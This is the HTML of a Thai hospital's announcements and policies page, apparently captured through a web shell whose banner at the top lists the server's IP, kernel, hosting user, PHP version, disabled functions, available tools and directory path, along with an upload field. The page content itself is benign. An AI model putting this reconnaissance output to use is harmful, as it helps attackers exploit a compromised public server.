| Server IP : 104.21.73.108 / Your IP : 216.73.216.59 Web Server : Apache/2 System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 User : paphayomho ( 1042) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/paphayomho/domains/paphayomhospital.go.th/private_html/ |
Upload File : |
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ประกาศและนโยบาย | โรงพยาบาลป่าพะยอม</title>
<link href="https://fonts.googleapis.com/css2?family=Prompt:wght@300;400;500;600&display=swap" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css">
<style>
:root {
--moph-green: #2d7a6e; /* เขียวเข้มสุภาพ */
--bright-green: #38b48b;
--light-green: #f0f9f7;
--accent-green: #e1f2ee;
--text-dark: #2c3e50;
--text-muted: #6c757d;
}
body {
font-family: 'Prompt', sans-serif;
color: var(--text-dark);
background-color: #fcfdfd;
}
/* Header Section */
.page-header {
background: linear-gradient(135deg, #1d5b51 0%, var(--moph-green) 100%);
color: white;
padding: 100px 0 60px;
position: relative;
overflow: hidden;
}
.page-header::after {
content: '';
position: absolute;
bottom: -50px;
left: 0;
right: 0;
height: 100px;
background: #fcfdfd;
border-radius: 50% / 100% 100% 0 0;
}
/* Category Filter */
.filter-container {
margin-top: -30px;
position: relative;
z-index: 10;
}
.filter-btn {
border-radius: 50px;
padding: 10px 24px;
margin: 5px;
border: none;
color: var(--moph-green);
background: white;
font-weight: 500;
transition: 0.3s all ease;
box-shadow: 0 4px 15px rgba(0,0,0,0.08);
}
.filter-btn:hover, .filter-btn.active {
background: var(--bright-green);
color: white;
transform: translateY(-2px);
box-shadow: 0 6px 20px rgba(56, 180, 139, 0.3);
}
/* Policy Card */
.policy-card {
background: white;
border: 1px solid rgba(0,0,0,0.03);
border-radius: 20px;
transition: 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
height: 100%;
display: flex;
flex-direction: column;
overflow: hidden;
box-shadow: 0 10px 30px rgba(0,0,0,0.02);
}
.policy-card:hover {
transform: translateY(-10px);
box-shadow: 0 20px 40px rgba(45, 122, 110, 0.12);
}
.card-body-content {
padding: 1.8rem;
flex-grow: 1;
}
.icon-wrapper {
width: 55px;
height: 55px;
background: var(--light-green);
color: var(--moph-green);
border-radius: 15px;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.4rem;
margin-bottom: 1.2rem;
}
.policy-tag {
font-size: 0.75rem;
padding: 5px 15px;
border-radius: 50px;
background: var(--accent-green);
color: var(--moph-green);
font-weight: 600;
text-transform: uppercase;
}
.btn-action {
padding: 12px;
text-align: center;
background: var(--light-green);
color: var(--moph-green);
text-decoration: none;
font-weight: 600;
transition: 0.3s;
border-top: 1px solid rgba(0,0,0,0.05);
}
.btn-action:hover {
background: var(--moph-green);
color: white;
}
/* Pagination */
.pagination .page-link {
border: none;
margin: 0 5px;
border-radius: 8px;
color: var(--moph-green);
}
.pagination .page-item.active .page-link {
background-color: var(--moph-green);
}
</style>
</head>
<body>
<header class="page-header text-center">
<div class="container animate__animated animate__fadeIn">
<span class="badge bg-light text-success mb-3 px-3 py-2 rounded-pill">Information & Transparency</span>
<h1 class="fw-bold display-5 mb-3">ประกาศและนโยบาย</h1>
<p class="lead opacity-75">โรงพยาบาลป่าพะยอม</p>
</div>
</header>
<div class="container mb-5">
<div class="filter-container text-center mb-5 animate__animated animate__fadeInUp">
<button class="filter-btn active" onclick="filterSelection('all')">ทั้งหมด</button>
<button class="filter-btn" onclick="filterSelection('policy')">ประกาศ/นโยบาย</button>
<button class="filter-btn" onclick="filterSelection('job')">แนวปฎิบัติ</button>
<button class="filter-btn" onclick="filterSelection('purchase')">อื่นๆ</button>
</div>
<div class="row g-4 mt-2">
<div class="col-md-6 col-lg-4 filter-item ita">
<div class="policy-card animate__animated animate__zoomIn">
<div class="card-body-content">
<div class="d-flex justify-content-between align-items-start">
<div class="icon-wrapper"><i class="fa-solid fa-shield-halved"></i></div>
<span class="policy-tag">ITA 2567</span>
</div>
<h5 class="fw-bold mb-2">นโยบายไม่รับของขวัญ (No Gift Policy)</h5>
<p class="text-muted small">ประกาศเจตนารมณ์ในการต่อต้านการทุจริตและงดรับของขวัญจากการปฏิบัติหน้าที่ ประจำปีงบประมาณ 2567</p>
<div class="mt-3 text-muted small">
<i class="fa-regular fa-calendar-check me-1"></i> อัปเดตเมื่อ: 15 ม.ค. 2567
</div>
</div>
<a href="#" class="btn-action"><i class="fa-solid fa-file-pdf me-2"></i>อ่านประกาศฉบับเต็ม</a>
</div>
</div>
<div class="col-md-6 col-lg-4 filter-item job">
<div class="policy-card animate__animated animate__zoomIn" style="animation-delay: 0.1s;">
<div class="card-body-content">
<div class="d-flex justify-content-between align-items-start">
<div class="icon-wrapper"><i class="fa-solid fa-user-doctor"></i></div>
<span class="policy-tag">รับสมัครงาน</span>
</div>
<h5 class="fw-bold mb-2">รับสมัครพนักงานจ้างเหมาบริการ</h5>
<p class="text-muted small">ตำแหน่งพนักงานช่วยเหลือคนไข้ (กลุ่มงานการพยาบาล) จำนวน 2 อัตรา เพื่อปฏิบัติงานประจำหอผู้ป่วย</p>
<div class="mt-3 text-muted small">
<i class="fa-regular fa-calendar-check me-1"></i> อัปเดตเมื่อ: 02 ก.พ. 2567
</div>
</div>
<a href="#" class="btn-action"><i class="fa-solid fa-paperclip me-2"></i>รายละเอียดการสมัคร</a>
</div>
</div>
<div class="col-md-6 col-lg-4 filter-item purchase">
<div class="policy-card animate__animated animate__zoomIn" style="animation-delay: 0.2s;">
<div class="card-body-content">
<div class="d-flex justify-content-between align-items-start">
<div class="icon-wrapper"><i class="fa-solid fa-file-invoice-dollar"></i></div>
<span class="policy-tag">จัดซื้อจัดจ้าง</span>
</div>
<h5 class="fw-bold mb-2">สรุปผลการจัดซื้อจัดจ้าง (สขร.1)</h5>
<p class="text-muted small">รายงานสรุปผลการจัดซื้อจัดจ้างรายเดือน ประจำเดือน มกราคม 2567 (รอบที่ 1)</p>
<div class="mt-3 text-muted small">
<i class="fa-regular fa-calendar-check me-1"></i> อัปเดตเมื่อ: 01 ก.พ. 2567
</div>
</div>
<a href="#" class="btn-action"><i class="fa-solid fa-download me-2"></i>ดาวน์โหลดเอกสาร (PDF)</a>
</div>
</div>
</div>
<nav class="mt-5">
<ul class="pagination justify-content-center">
<li class="page-item disabled"><a class="page-link shadow-sm" href="#">ก่อนหน้า</a></li>
<li class="page-item active"><a class="page-link shadow-sm" href="#">1</a></li>
<li class="page-item"><a class="page-link shadow-sm" href="#">2</a></li>
<li class="page-item"><a class="page-link shadow-sm" href="#">ถัดไป</a></li>
</ul>
</nav>
</div>
<script>
// Simple Filter Logic
function filterSelection(c) {
var x, i;
x = document.getElementsByClassName("filter-item");
if (c == "all") c = "";
for (i = 0; i < x.length; i++) {
x[i].style.display = "none";
if (x[i].className.indexOf(c) > -1) {
x[i].style.display = "block";
}
}
// Add active class to button
var btns = document.getElementsByClassName("filter-btn");
for (var i = 0; i < btns.length; i++) {
btns[i].classList.remove("active");
}
event.currentTarget.classList.add("active");
}
</script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>